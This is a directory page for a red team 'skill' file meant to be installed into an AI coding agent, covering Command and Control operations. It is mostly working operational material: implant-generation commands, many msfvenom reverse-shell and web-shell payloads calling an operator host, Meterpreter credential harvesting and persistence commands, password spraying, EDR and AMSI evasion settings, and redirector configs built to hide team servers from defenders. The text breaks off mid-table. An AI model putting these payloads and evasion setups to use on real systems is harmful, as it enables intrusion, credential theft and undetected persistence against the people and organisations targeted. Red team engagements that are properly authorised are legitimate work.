Back to skills
SKILL.md
Redteam C2 Frameworks
ASecurityFull-spectrum Command and Control deployment and operational tradecraft. Cobalt Strike (malleable profiles, BOF execution, Arsenal Kit customization, sleep masking, external C2, OPSEC hardening), Sliver (mTLS/WireGuard/DNS/HTTP transports, session vs beacon, armory, multiplayer, Cursed Chrome, WASM), Mythic (Apollo/Poseidon/Medusa/Athena agents, translation containers, custom profiles), Havoc (Demon with Ekko/Zilean/FOLIAGE sleep obfuscation, indirect syscalls, DotNet inline, stack spoofing),...
- 16 stars
- 0 votes
- 0 copies
- 6 views
- Added November 17, 2026
Works with
Security analysis
100/100npx -y skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill redteam-c2-frameworks --agent claude-codeAre you the author of Redteam C2 Frameworks?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/anandjogawade-redteam-c2-frameworks)---
name: redteam-c2-frameworks
description: Full-spectrum Command and Control deployment and operational tradecraft. Cobalt Strike (malleable profiles, BOF execution, Arsenal Kit customization, sleep masking, external C2, OPSEC hardening), Sliver (mTLS/WireGuard/DNS/HTTP transports, session vs beacon, armory, multiplayer, Cursed Chrome, WASM), Mythic (Apollo/Poseidon/Medusa/Athena agents, translation containers, custom profiles), Havoc (Demon with Ekko/Zilean/FOLIAGE sleep obfuscation, indirect syscalls, DotNet inline, stack spoofing), Brute Ratel (Badger implant, sleep masking, DoH C2, SMB/TCP pivoting), Metasploit (msfvenom all formats, multi/handler, Meterpreter post modules, AutoRoute, resource scripts), redirector architecture (Apache mod_rewrite, Nginx, Caddy, Cloudflare Workers, CDN domain fronting, Terraform automation), DNS C2 (TXT/CNAME/DoH channels, iodine, dnscat2), custom C2 development (protocol design, encryption, anti-replay, fallback channels, kill dates, jitter patterns), and TLS/certificate OPSEC.
keywords:
- C2
- command and control
- Cobalt Strike
- Sliver
- Mythic
- Havoc
- Brute Ratel
- Metasploit
- msfvenom
- malleable profile
- BOF
- beacon
- implant
- redirector
- domain fronting
- DNS C2
- sleep obfuscation
- meterpreter
tools:
- Cobalt Strike
- Sliver
- Mythic
- Havoc
- Brute Ratel C4
- Metasploit Framework
- msfvenom
- Apache
- Nginx
- Caddy
- Cloudflare Workers
- Terraform
- iodine
- dnscat2
opsec: critical
---
# Command and Control — Operational Tradecraft
Persistent remote access depends on a communication layer that withstands
active defense. The C2 stack governs how implants check in, receive tasks,
return results, and pivot deeper into a network. Framework choice, transport
selection, infrastructure layering, and traffic shaping collectively determine
whether an operation endures or collapses on first contact with the SOC.
This reference walks through each major framework, its configuration surface
for stealth, the infrastructure patterns that shield backend servers, and the
tradecraft that keeps operations running against modern EDR and NDR stacks.
## Operational Sequence
1. Profile the target network — map allowed egress protocols, proxy chains, inspection appliances, and DNS resolver behavior.
2. Pick a primary framework and transport that fits those constraints.
3. Stand up layered redirector infrastructure — the team server never faces the internet.
4. Shape communication profiles to replicate traffic the target already generates.
5. Build implants with tuned sleep, jitter, and hard kill dates.
6. Provision at least one independent fallback channel on a different transport and domain.
7. Validate traffic against known signature sets before deploying to live targets.
---
## Cobalt Strike
The dominant commercial platform for sustained red team work. Its value sits
in malleable profile flexibility, Beacon Object File execution, and a deep
post-exploitation kit. Operational security depends entirely on how the
operator configures it — defaults are universally signatured.
### Malleable C2 Profile Design
Profiles control every byte of Beacon's wire format — headers, URIs, encoding,
and TLS parameters. A properly crafted profile impersonates a specific
application the target already trusts.
```text
# Profile mimicking Outlook Web Access traffic
set sleeptime "60000";
set jitter "40";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Edg/125.0.0.0";
set data_jitter "50";
set host_stage "false"; # CRITICAL — disable staging handshake
# Memory and injection tuning
set obfuscate "true";
set sleep_mask "true";
set smartinject "true";
set pipename "\\mojo.%d.%d.%d"; # randomized named pipe
# Spawn-to: legitimate process for fork-and-run operations
set spawnto_x86 "%windir%\\syswow64\\dllhost.exe";
set spawnto_x64 "%windir%\\sysnative\\dllhost.exe";
https-certificate {
set keystore "c2.store";
set password "changeit";
}
http-get {
set uri "/owa/auth/logon.aspx /autodiscover/autodiscover.xml";
client {
header "Accept" "text/html,application/xhtml+xml";
header "Accept-Language" "en-US,en;q=0.9";
header "Connection" "keep-alive";
metadata {
base64url;
prepend "session=";
header "Cookie";
}
}
server {
header "Content-Type" "text/html; charset=utf-8";
header "Server" "Microsoft-IIS/10.0";
header "X-Powered-By" "ASP.NET";
header "X-MS-Correlation-Id" "a1b2c3d4-e5f6-7890-abcd-ef1234567890";
output {
base64;
prepend "<!DOCTYPE html><html><body class=\"container\">";
append "</body></html>";
print;
}
}
}
http-post {
set uri "/owa/service.svc";
set verb "POST";
client {
header "Content-Type" "application/json; charset=utf-8";
id {
base64url;
prepend "X-OWA-CANARY=";
header "Cookie";
}
output {
base64;
print;
}
}
server {
header "Content-Type" "application/json";
output {
base64;
prepend "{\"@odata.context\":\"https://outlook.office.com\",\"value\":\"";
append "\"}";
print;
}
}
}
# Process injection configuration
process-inject {
set allocator "NtMapViewOfSection";
set min_alloc "17500";
set userwx "false";
set startrwx "false";
transform-x86 {
prepend "\x90\x90";
}
transform-x64 {
prepend "\x90\x90";
}
execute {
CreateThread "ntdll.dll!RtlUserThreadStart";
NtQueueApcThread-s;
CreateRemoteThread;
RtlCreateUserThread;
}
}
# Post-exploitation OPSEC
post-ex {
set spawnto_x86 "%windir%\\syswow64\\werfault.exe";
set spawnto_x64 "%windir%\\sysnative\\werfault.exe";
set obfuscate "true";
set smartinject "true";
set amsi_disable "true";
set pipename "\\postex_pipe##, 0, 5";
set keylogger "GetAsyncKeyState";
}
```
### Profile Validation
Always lint profiles before deployment:
```bash
# c2lint ships with Cobalt Strike
./c2lint profile.profile
# Check for:
# - Syntax errors
# - Known signatured patterns
# - Encoding/decoding correctness
# - URI conflicts
# Third-party validators
# SourcePoint: generate random, validated malleable profiles
python3 SourcePoint.py --Host cdn.example.com --Outfile generated.profile
```
### OPSEC Hardening Checklist
```text
SETTING REQUIRED VALUE WHY
─────────────────────────────────────────────────────────────
host_stage false prevents staging handshake signature
sleep_mask true encrypts Beacon in memory during sleep
obfuscate true XORs memory strings
useragent match target traffic default CS UA is widely signatured
spawnto_x64 werfault/dllhost never use default rundll32
pipename custom pattern default \\MSSE-* is blocked everywhere
watermark 0 or custom default watermark tracks license
amsi_disable (post-ex) true patches AMSI before post-ex operations
startrwx (process-inject) false RW → RX transition instead of RWX
allocator (process-inject) NtMapViewOfSection avoids VirtualAllocEx hook
kill date set on EVERY beacon prevents orphan callbacks
```
### Beacon Types and Internal Pivoting
```text
BEACON TYPE TRANSPORT USE CASE OPSEC NOTES
──────────────────────────────────────────────────────────────────────────────────
HTTP/HTTPS TCP 80/443 Primary egress from workstations CDN or redirector required
DNS UDP 53 Restrictive networks, low-bandwidth Slow; NS delegation needed
SMB Named pipe Internal pivoting, no direct egress Link from an egressing Beacon
TCP Bind/Reverse TCP Internal hosts without SMB Flexible internal routing
```
```bash
# Generate stageless payloads (always prefer over staged)
# GUI: Attacks > Packages > Windows Stageless Generate All Payloads
# Named pipe pivoting
beacon> link 10.10.10.50 \\.\pipe\interop_svc_89
# SMB Beacon on .50 routes through the HTTPS Beacon on current host
# TCP reverse pivot
beacon> connect 10.10.10.60 4444
# TCP Beacon on .60 calls back to current host
# Sleep and jitter
beacon> sleep 300 45
# 300s base with 45% jitter → actual interval 165-435s
# Interactive session for active work
beacon> sleep 2 25
```
### Beacon Object Files (BOFs)
BOFs run compiled position-independent C code inside Beacon's own process.
No child process creation means no process-creation telemetry. This is the
primary execution model for stealth — fork-and-run should be a last resort.
```c
/* whoami_bof.c — query current user without spawning whoami.exe */
#include <windows.h>
#include "beacon.h"
DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetUserNameA(LPSTR, LPDWORD);
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetLastError(void);
void go(char *args, int alen) {
char username[256];
DWORD size = sizeof(username);
if (ADVAPI32$GetUserNameA(username, &size)) {
BeaconPrintf(CALLBACK_OUTPUT, "[+] Current user: %s", username);
} else {
BeaconPrintf(CALLBACK_ERROR, "[-] GetUserNameA failed: %d",
KERNEL32$GetLastError());
}
}
```
```bash
# Compile BOF
x86_64-w64-mingw32-gcc -c whoami_bof.c -o whoami_bof.o
# Execute in Beacon
beacon> inline-execute whoami_bof.o
# Key BOF repositories:
# trustedsec/CS-Situational-Awareness-BOF — enumeration without spawning
# anthemtotheego/InlineWhispers — syscall-based BOFs
# rvrsh3ll/BOF_Collection — mixed utility
# boku7/BofRoast — Kerberoasting via BOF
# EspressoCake/HandleKatz_BOF — LSASS dump without MiniDumpWriteDump
```
### InlineExecute-Assembly
Loads and runs .NET assemblies reflectively inside Beacon without spawning
a sacrificial process or touching disk:
```text
beacon> inlineExecute-Assembly --dotnetassembly /path/to/Rubeus.exe --assemblyargs kerberoast
beacon> inlineExecute-Assembly --dotnetassembly /path/to/Seatbelt.exe --assemblyargs -group=all
# Advantages over execute-assembly:
# - No child process (execute-assembly spawns spawnto process)
# - No .NET assembly written to disk
# - Runs in Beacon's process context
# - Avoids process-creation and module-load telemetry
```
### Arsenal Kit Customization
Cobalt Strike's Arsenal Kit lets you rebuild core components to defeat
static signatures:
```text
COMPONENT CUSTOMIZES WHAT TO CHANGE
────────────────────────────────────────────────────────────────────────
artifact.crt EXE/DLL Beacon templates PE structure, section names
resource.crt Powershell, HTA, VBA payloads Script templates, encoding
process_inject Process injection methodology Allocator, write, execute
mimikatz.crt Built-in Mimikatz deployment Compilation flags, strings
sleep_mask.crt Sleep encryption implementation Custom sleep cipher, mask
```
```bash
# Rebuild artifact kit with custom options
cd arsenal-kit/kits/artifact
./build.sh pipe VirtualAlloc 310272 5 false false /opt/cobaltstrike/
# The resulting artifacts use custom injection, custom pipe names,
# and produce unique hashes on every build
```
### External C2 Specification
For custom transports that Cobalt Strike does not natively support
(email, social media, custom protocols):
```text
# External C2 overview:
# 1. Write a client that speaks the External C2 spec
# 2. Client communicates with Beacon via named pipe on target
# 3. Client proxies Beacon frames through your custom transport
# 4. External C2 controller relays frames to/from team server
# Supported custom transports people have built:
# - Slack/Discord channels
# - Office 365 email drafts
# - Google Sheets cells
# - DNS-over-HTTPS
# - WebSocket
# - ICMP
# - Blockchain transactions
```
---
## Sliver
Open-source, multi-transport C2 built in Go with native encrypted
channels. First-class support for multiplayer operations and an
extension ecosystem through the armory.
### Transport Selection and Implant Generation
```bash
# Launch server
./sliver-server
# mTLS — mutual TLS authentication, encrypted, most reliable
sliver> generate --mtls 10.10.14.5:8888 --os windows --arch amd64 \
--name SVC-FINANCE --skip-symbols --disable-sgn
# WireGuard — encapsulated in WireGuard tunnel (stealth on the wire)
sliver> generate --wg 10.10.14.5:51820 --os windows --arch amd64 \
--name SVC-WG --skip-symbols
# HTTP(S) — standard web traffic, redirector-friendly
sliver> generate --http https://cdn.example.com --os windows --arch amd64 \
--name SVC-WEB --skip-symbols --seconds 60 --jitter 30
# DNS — egress through port 53 only
sliver> generate --dns c2.example.com --os windows --arch amd64 \
--name SVC-DNS --skip-symbols
# Session mode vs Beacon mode
# Session: persistent connection, real-time interaction
# Beacon: check-in at intervals, lower footprint
sliver> generate beacon --mtls 10.10.14.5:8888 --os windows --arch amd64 \
--name SVC-BEACON --seconds 300 --jitter 40 --skip-symbols
# Start matching listeners
sliver> mtls --lhost 0.0.0.0 --lport 8888
sliver> wg --lport 51820
sliver> dns --domains c2.example.com
sliver> https --domain cdn.example.com --lport 443 \
--cert /opt/certs/cert.pem --key /opt/certs/key.pem
```
### Cross-Platform and WASM Implants
```bash
# Linux implant
sliver> generate --mtls 10.10.14.5:8888 --os linux --arch amd64 \
--name SVC-NIX --skip-symbols --format elf
# macOS implant
sliver> generate --mtls 10.10.14.5:8888 --os darwin --arch arm64 \
--name SVC-MAC --skip-symbols --format macho
# WASM implant (experimental — runs in browser or Node.js)
# Useful for targeting web applications or cloud functions
sliver> generate --http https://cdn.example.com --os js --arch wasm \
--name SVC-WASM
```
### Armory Extensions and Post-Exploitation
```bash
# Install community tools into Sliver
sliver> armory install rubeus
sliver> armory install seatbelt
sliver> armory install sharphound
sliver> armory install certify
sliver> armory install nanodump
# Execute within a session
sliver (SVC-FINANCE)> rubeus kerberoast
sliver (SVC-FINANCE)> seatbelt -- -group=all
sliver (SVC-FINANCE)> sharphound -- -c all
sliver (SVC-FINANCE)> nanodump --write C:\\Windows\\Temp\\debug.dmp
# Cursed Chrome — hijack a victim's Chrome session for browser pivoting
sliver (SVC-FINANCE)> cursed chrome
# Gives you full control over the user's browser sessions,
# cookies, and authenticated tabs
```
### Multiplayer and Pivoting
```bash
# Generate operator configs
sliver> new-operator --name op1 --lhost teamserver.internal
sliver> new-operator --name op2 --lhost teamserver.internal
# Distribute .cfg files; operators connect with sliver client
# SOCKS5 proxy through implant
sliver (SVC-FINANCE)> socks5 start --port 1080
# Port forwarding
sliver (SVC-FINANCE)> portfwd add --bind 127.0.0.1:445 --remote 172.16.0.10:445
# Pivoting via implant as gateway
sliver (SVC-FINANCE)> pivots tcp --bind 0.0.0.0:11601
# Then generate new implant pointing at the pivot listener
sliver> generate --tcp-pivot SVC-FINANCE:11601 --os windows --name SVC-INTERNAL
```
---
## Mythic
Plug-in architecture where agents, C2 profiles, and translation containers
are independent modules. The web UI provides campaign tracking across
multiple operations.
### Agent Ecosystem
```bash
# Install Mythic core
git clone https://github.com/its-a-feature/Mythic.git && cd Mythic
# Install agents
./mythic-cli install github https://github.com/MythicAgents/apollo # Windows C#
./mythic-cli install github https://github.com/MythicAgents/poseidon # Linux/macOS Go
./mythic-cli install github https://github.com/MythicAgents/medusa # Python cross-platform
./mythic-cli install github https://github.com/MythicAgents/athena # .NET cross-platform
# Install C2 profiles
./mythic-cli install github https://github.com/MythicC2Profiles/http
./mythic-cli install github https://github.com/MythicC2Profiles/websocket
./mythic-cli install github https://github.com/MythicC2Profiles/dynamichttp
./mythic-cli start
```
```text
AGENT LANGUAGE PLATFORMS KEY CAPABILITIES
──────────────────────────────────────────────────────────────
Apollo C# Windows Inline .NET, token manipulation, process injection
Poseidon Go Linux, macOS SSH spawn, keylogging, clipboard, screencap
Medusa Python Win/Lin/Mac Extensible, rapid prototyping, scripting
Athena .NET Win/Lin/Mac Cross-platform .NET 7+, plugin architecture
```
### C2 Profile Configuration
```json
{
"name": "dynamic_https",
"is_p2p": false,
"parameters": [
{"name": "callback_host", "value": "https://api.example.com"},
{"name": "callback_port", "value": 443},
{"name": "callback_interval", "value": 60},
{"name": "callback_jitter", "value": 35},
{"name": "headers", "value": {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Accept": "application/json",
"Host": "api.example.com"
}},
{"name": "get_uri", "value": "/v2/telemetry/events"},
{"name": "post_uri", "value": "/v2/telemetry/submit"},
{"name": "encrypted_exchange_check", "value": true},
{"name": "AESPSK", "value": "auto-generated-at-payload-creation"}
]
}
```
### Translation Containers
Translation containers transform agent traffic into arbitrary formats.
Write a container that makes Apollo traffic look like gRPC, MessagePack,
or any proprietary protocol:
```text
# Translation container flow:
# Agent → raw bytes → translation container → custom wire format → C2 profile → Mythic server
# Mythic server → C2 profile → custom wire format → translation container → raw bytes → Agent
# This lets you separate the agent code from the wire protocol,
# reusing agents across different transports without recompilation
```
### Mythic with Redirectors
```text
# Architecture:
# [Implant] → [CDN/Redirector] → [Mythic C2 Profile Container] → [Mythic Server]
#
# Mythic binds C2 profile listener to localhost
# Redirector forwards filtered traffic to Mythic via reverse proxy
# Same Apache/Nginx/Caddy redirector patterns as other frameworks
```
---
## Havoc
Modern C2 built for environments saturated with endpoint detection.
The Demon agent ships with features that other frameworks require
add-ons to achieve.
### Demon Agent Capabilities
```text
FEATURE DESCRIPTION
──────────────────────────────────────────────────────────────
Sleep obfuscation Ekko (timer-queue), Zilean (undocumented API), FOLIAGE (APC-based)
Indirect syscalls Resolves SSN dynamically, calls via JMP gadget in ntdll
Stack spoofing Manipulates return addresses on call stack
AMSI/ETW bypass Hardware breakpoints — no memory patches to detect
DotNet inline Loads .NET assemblies in-process without fork-and-run
Token manipulation Steal, impersonate, make tokens for lateral movement
Module loading Side-load custom DLLs/BOFs into the agent
Proxy-aware Respects system proxy for egress through corporate proxies
```
### Server Configuration
```yaml
# havoc.yaotl
Teamserver:
Host: "0.0.0.0"
Port: 40056
Build:
Compiler64: "/usr/bin/x86_64-w64-mingw32-gcc"
Compiler86: "/usr/bin/i686-w64-mingw32-gcc"
Nasm: "/usr/bin/nasm"
Operators:
- Name: "op1"
Password: "RedTeam2026!"
Listeners:
- Name: "HTTPS-Primary"
Protocol: "Https"
Host: "10.10.14.5"
Port: 443
Secure: true
Uris:
- "/api/v2/session"
- "/api/v2/health"
- "/api/v2/metrics"
Headers:
- "Content-Type: application/json"
- "Server: nginx/1.26.0"
- "X-Request-Id: "
Demon:
Sleep: 60
Jitter: 40
IndirectSyscalls: true
SleepTechnique: "Ekko"
SleepMask: true
StackSpoof: true
AmsiEtwBypass: "HardwareBreakpoints"
DotNetInline: true
```
### Implant Generation
```text
# Via Havoc UI:
# Payload → Generate → Demon
# Options:
# Architecture: x64
# Format: Windows Exe / Shellcode / Service Exe / DLL
# Sleep Technique: Ekko | Zilean | FOLIAGE
# Indirect Syscalls: Enabled
# Sleep Mask: Enabled
# AMSI/ETW: Hardware Breakpoints
# Sleep: 60 | Jitter: 40
# Kill Date: 2026-12-31
# Post-generation:
# Payload appears in Downloads tab
# DLL format supports sideloading, rundll32, or reflective loading
```
### Post-Exploitation via Demon
```text
demon>> whoami
demon>> shell ipconfig /all
demon>> ps # process list (no child process)
demon>> token steal <pid> # steal token from running process
demon>> token make DOMAIN\admin Password123!
demon>> dotnet inline-execute /path/to/Rubeus.exe kerberoast
demon>> dotnet inline-execute /path/to/Seatbelt.exe -group=all
demon>> upload /local/file C:\Windows\Temp\file
demon>> download C:\Users\admin\Desktop\secrets.xlsx
demon>> socks5 start 1080 # SOCKS5 proxy
demon>> portforward add 445 172.16.0.10 445
```
---
## Brute Ratel C4
Commercial red team framework focused on EDR evasion. The Badger
implant was purpose-built to operate in environments with aggressive
endpoint detection.
### Badger Capabilities
```text
FEATURE DESCRIPTION
──────────────────────────────────────────────────────────────
Sleep masking Custom memory encryption during sleep cycles
NTDLL unhooking Loads fresh ntdll copy, removes EDR hooks
Syscall execution Direct and indirect syscall support
DNS-over-HTTPS C2 channel using DoH resolvers
SMB/TCP pivoting Internal lateral movement without egress
Memory scanning evasion Stomps headers, encrypts reflective loader
LDAP sentinel Built-in AD enumeration without external tools
Token vault Manages stolen tokens for multi-identity ops
```
### Implant Generation and Deployment
```bash
# Generate Badger via BRc4 GUI:
# Ratel > Create Payload
# Options: HTTP(S), DNS, SMB, TCP
# Format: EXE, DLL, Shellcode, Service
# Listener: Select configured listener
# DoH C2 configuration:
# Uses public DoH resolvers (Cloudflare, Google) as transport
# C2 data encoded in DNS queries/responses
# Extremely difficult to block without breaking legitimate DoH
# SMB Badger for internal pivoting:
# Generate SMB Badger → deploy on internal host via current access
# Link from an HTTP(S) Badger: badger> pivot smb \\TARGET\pipe\pipename
```
---
## Metasploit Framework
The foundational exploitation platform. Essential for payload generation,
initial access, and environments where commercial tools are not available.
### msfvenom Format Reference
```bash
# ──── WINDOWS ────
# Stageless HTTPS Meterpreter (preferred)
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.14.5 LPORT=443 -f exe -o payload.exe
# Staged HTTPS Meterpreter (smaller initial payload)
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=10.10.14.5 LPORT=443 -f exe -o staged.exe
# C# shellcode for custom loaders
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.14.5 LPORT=443 -f csharp -o shellcode.cs
# Raw shellcode binary
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.14.5 LPORT=443 -f raw -o shell.bin
# DLL payload for sideloading
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.14.5 LPORT=443 -f dll -o payload.dll
# PowerShell one-liner
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.14.5 LPORT=443 -f psh -o payload.ps1
# HTA payload for mshta delivery
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.14.5 LPORT=443 -f hta-psh -o payload.hta
# VBA macro payload for Office docs
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.14.5 LPORT=443 -f vba -o macro.vba
# Windows Service binary
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.14.5 LPORT=443 -f exe-service -o svc.exe
# ──── LINUX ────
msfvenom -p linux/x64/meterpreter_reverse_tcp \
LHOST=10.10.14.5 LPORT=4444 -f elf -o shell.elf
# ──── MACOS ────
msfvenom -p osx/x64/meterpreter_reverse_tcp \
LHOST=10.10.14.5 LPORT=4444 -f macho -o shell.macho
# ──── WEB PAYLOADS ────
# JSP shell
msfvenom -p java/jsp_shell_reverse_tcp \
LHOST=10.10.14.5 LPORT=4444 -f raw -o shell.jsp
# WAR file (Tomcat deployment)
msfvenom -p java/jsp_shell_reverse_tcp \
LHOST=10.10.14.5 LPORT=4444 -f war -o shell.war
# ASP shell
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.5 LPORT=4444 -f asp -o shell.asp
# ASPX shell
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.14.5 LPORT=443 -f aspx -o shell.aspx
# PHP shell
msfvenom -p php/meterpreter/reverse_tcp \
LHOST=10.10.14.5 LPORT=4444 -f raw -o shell.php
# Python shell
msfvenom -p python/meterpreter_reverse_https \
LHOST=10.10.14.5 LPORT=443 -f raw -o shell.py
```
### Multi/Handler Configuration
```ruby
# handler.rc — resource script for automated handler setup
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter_reverse_https
set LHOST 0.0.0.0
set LPORT 443
set HttpUserAgent "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
set HandlerSSLCert /opt/certs/c2.pem
set StagerVerifySSLCert true
set SessionCommunicationTimeout 600
set ExitOnSession false
set EnableStageEncoding true
set AutoRunScript "post/windows/manage/migrate"
run -j
# Launch:
msfconsole -r handler.rc
```
### Meterpreter Post-Exploitation Module Categories
```bash
# Enumeration
meterpreter> sysinfo
meterpreter> getuid
meterpreter> run post/windows/gather/enum_logged_on_users
meterpreter> run post/windows/gather/enum_domain
meterpreter> run post/windows/gather/enum_shares
meterpreter> run post/multi/recon/local_exploit_suggester
# Credential harvesting
meterpreter> load kiwi
meterpreter> creds_all
meterpreter> kerberos_ticket_list
meterpreter> run post/windows/gather/hashdump
meterpreter> run post/windows/gather/credentials/credential_collector
meterpreter> run post/windows/gather/lsa_secrets
# Persistence
meterpreter> run post/windows/manage/persistence_exe
meterpreter> run exploit/windows/local/persistence_service
# Pivoting and routing
meterpreter> run post/multi/manage/autoroute
meterpreter> portfwd add -l 9050 -p 445 -r 172.16.0.10
meterpreter> background
msf6> use auxiliary/server/socks_proxy
msf6> set SRVPORT 1080
msf6> run -j
# File operations
meterpreter> download C:\\Users\\admin\\secrets.xlsx /loot/
meterpreter> upload /tools/mimikatz.exe C:\\Windows\\Temp\\svc.exe
meterpreter> search -f *.kdbx -d C:\\Users\\
meterpreter> search -f *.config -d C:\\inetpub\\
# Process operations
meterpreter> ps
meterpreter> migrate -N explorer.exe
meterpreter> steal_token <pid>
```
### Resource Scripts for Automation
```ruby
# auto_pivot.rc — automatically route and proxy through new sessions
setg AUTORUNSCRIPT "post/multi/manage/autoroute"
set EnableStageEncoding true
# password_spray.rc — batch credential testing
use auxiliary/scanner/smb/smb_login
set RHOSTS file:/opt/targets.txt
set USER_FILE /opt/users.txt
set PASS_FILE /opt/passwords.txt
set THREADS 10
run
# enum_domain.rc — automated AD enumeration
use post/windows/gather/enum_domain
set SESSION 1
run
use post/windows/gather/enum_domain_group_users
set GROUP "Domain Admins"
run
```
---
## Redirector Architecture
The team server never touches the public internet. Redirectors absorb
scanning, filter invalid traffic, and provide disposable frontend
infrastructure that can burn without operational impact.
### Apache mod_rewrite
```apache
# /etc/apache2/sites-enabled/redirector.conf
<VirtualHost *:443>
ServerName cdn-api.example.com
SSLEngine on
SSLCertificateFile /etc/letsencrypt/live/cdn-api.example.com/fullchain.pem
SSLCertificateKeyFile /etc/letsencrypt/live/cdn-api.example.com/privkey.pem
RewriteEngine On
# Block scanners and research bots
RewriteCond %{HTTP_USER_AGENT} (curl|wget|python|scanner|nikto|nmap|masscan|zgrab|censys|shodan) [NC]
RewriteRule ^.*$ https://www.microsoft.com/ [L,R=302]
# Block known threat intel IPs (update regularly)
# RewriteCond %{REMOTE_ADDR} ^(1\.2\.3\.4|5\.6\.7\.8)$
# RewriteRule ^.*$ https://www.microsoft.com/ [L,R=302]
# Forward only requests matching C2 profile URIs
RewriteCond %{REQUEST_URI} ^/owa/auth/logon\.aspx$ [OR]
RewriteCond %{REQUEST_URI} ^/owa/service\.svc$ [OR]
RewriteCond %{REQUEST_URI} ^/autodiscover/autodiscover\.xml$
RewriteRule ^.*$ https://teamserver.internal:443%{REQUEST_URI} [P,L]
# Everything else → legitimate decoy
RewriteRule ^.*$ https://www.microsoft.com/ [L,R=302]
ProxyPassReverse / https://teamserver.internal:443/
</VirtualHost>
```
### Nginx Smart Redirector
```nginx
server {
listen 443 ssl;
server_name cdn-api.example.com;
ssl_certificate /etc/letsencrypt/live/cdn-api.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/cdn-api.example.com/privkey.pem;
# Whitelist C2 URIs
location ~ ^/(owa/auth/logon\.aspx|owa/service\.svc|autodiscover/autodiscover\.xml)$ {
# Validate User-Agent matches profile
if ($http_user_agent !~* "Edg/125") {
return 302 https://www.microsoft.com;
}
proxy_pass https://teamserver.internal:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
# Default: redirect to decoy
location / {
return 302 https://www.microsoft.com;
}
}
```
### Caddy (Lightweight Alternative)
```text
cdn-api.example.com {
@valid_c2 {
path /owa/auth/logon.aspx /owa/service.svc /autodiscover/autodiscover.xml
header User-Agent *Edg/125*
}
handle @valid_c2 {
reverse_proxy https://teamserver.internal:443 {
transport http {
tls_insecure_skip_verify
}
}
}
handle {
redir https://www.microsoft.com 302
}
}
```
### Cloudflare Workers (Serverless Redirector)
```javascript
// worker.js — deployed as Cloudflare Worker
// Routes matching requests to your team server origin
// All traffic appears as Cloudflare CDN traffic to network monitors
addEventListener('fetch', event => {
event.respondWith(handleRequest(event.request));
});
const VALID_URIS = [
'/owa/auth/logon.aspx',
'/owa/service.svc',
'/autodiscover/autodiscover.xml'
];
const TEAM_SERVER = 'https://origin.your-server.com';
async function handleRequest(request) {
const url = new URL(request.url);
if (VALID_URIS.includes(url.pathname)) {
// Forward to team server
const origin = new URL(TEAM_SERVER + url.pathname);
const newRequest = new Request(origin, {
method: request.method,
headers: request.headers,
body: request.body,
});
return fetch(newRequest);
}
// Redirect non-C2 traffic
return Response.redirect('https://www.microsoft.com', 302);
}
```
### CDN Domain Fronting (2025-2026 Status)
```text
# Domain fronting exploits the disconnect between TLS SNI and HTTP Host header.
# Network monitors see a connection to a high-reputation CDN domain;
# the actual routing uses the Host header to reach your backend.
# STATUS BY PROVIDER (as of 2026):
# Azure CDN — Largely blocked; Azure enforces SNI == Host matching
# AWS CloudFront — Blocked since 2018 on new distributions
# Fastly — Blocked on most configurations
# Google Cloud — Partially available via certain GCP services
# Cloudflare — Does not support traditional fronting, but Workers
# achieve a similar effect (traffic looks like CF CDN)
# ALTERNATIVE: Domain Borrowing
# Find an expired or abandoned subdomain on a trusted domain
# that has a dangling CNAME pointing to a service you can register
# (e.g., unclaimed Azure, Heroku, or GitHub Pages records)
# Point the CNAME to your infrastructure
# Implant connects to trusted-domain.com → routes to your server
```
### Terraform Infrastructure Automation
```hcl
# main.tf — automated C2 infrastructure provisioning
provider "digitalocean" {
token = var.do_token
}
# Team server
resource "digitalocean_droplet" "teamserver" {
name = "ts-${var.engagement_id}"
image = "ubuntu-24-04-x64"
size = "s-2vcpu-4gb"
region = "nyc3"
ssh_keys = [var.ssh_key_id]
provisioner "remote-exec" {
inline = [
"ufw allow from ${digitalocean_droplet.redirector.ipv4_address}",
"ufw deny 443", # only allow from redirector
"ufw enable",
]
}
}
# Redirector
resource "digitalocean_droplet" "redirector" {
name = "rdr-${var.engagement_id}"
image = "ubuntu-24-04-x64"
size = "s-1vcpu-1gb"
region = "nyc3"
ssh_keys = [var.ssh_key_id]
}
# DNS records
resource "cloudflare_record" "c2" {
zone_id = var.cf_zone_id
name = "cdn-api"
value = digitalocean_droplet.redirector.ipv4_address
type = "A"
proxied = true # traffic goes through Cloudflare
}
# TLS certificate
resource "null_resource" "certbot" {
depends_on = [digitalocean_droplet.redirector]
provisioner "remote-exec" {
inline = [
"apt install -y certbot",
"certbot certonly --standalone -d cdn-api.${var.domain} --agree-tos -m ops@${var.domain} --non-interactive",
]
}
}
```
---
## DNS-Based C2
DNS remains viable as a C2 channel because port 53 egress is permitted
in nearly every network. Bandwidth is severely limited — treat DNS C2
as a persistence and control channel, not a data transfer pipe.
### DNS Channel Architecture
```text
CHANNEL TYPE RECORD BANDWIDTH STEALTH USE CASE
────────────────────────────────────────────────────────────────────
Subdomain TXT TXT ~500 B/query Medium General purpose
CNAME tunnel CNAME ~200 B/query Higher Avoids TXT monitoring
A record A ~4 B/query Low bandwidth Minimal signaling
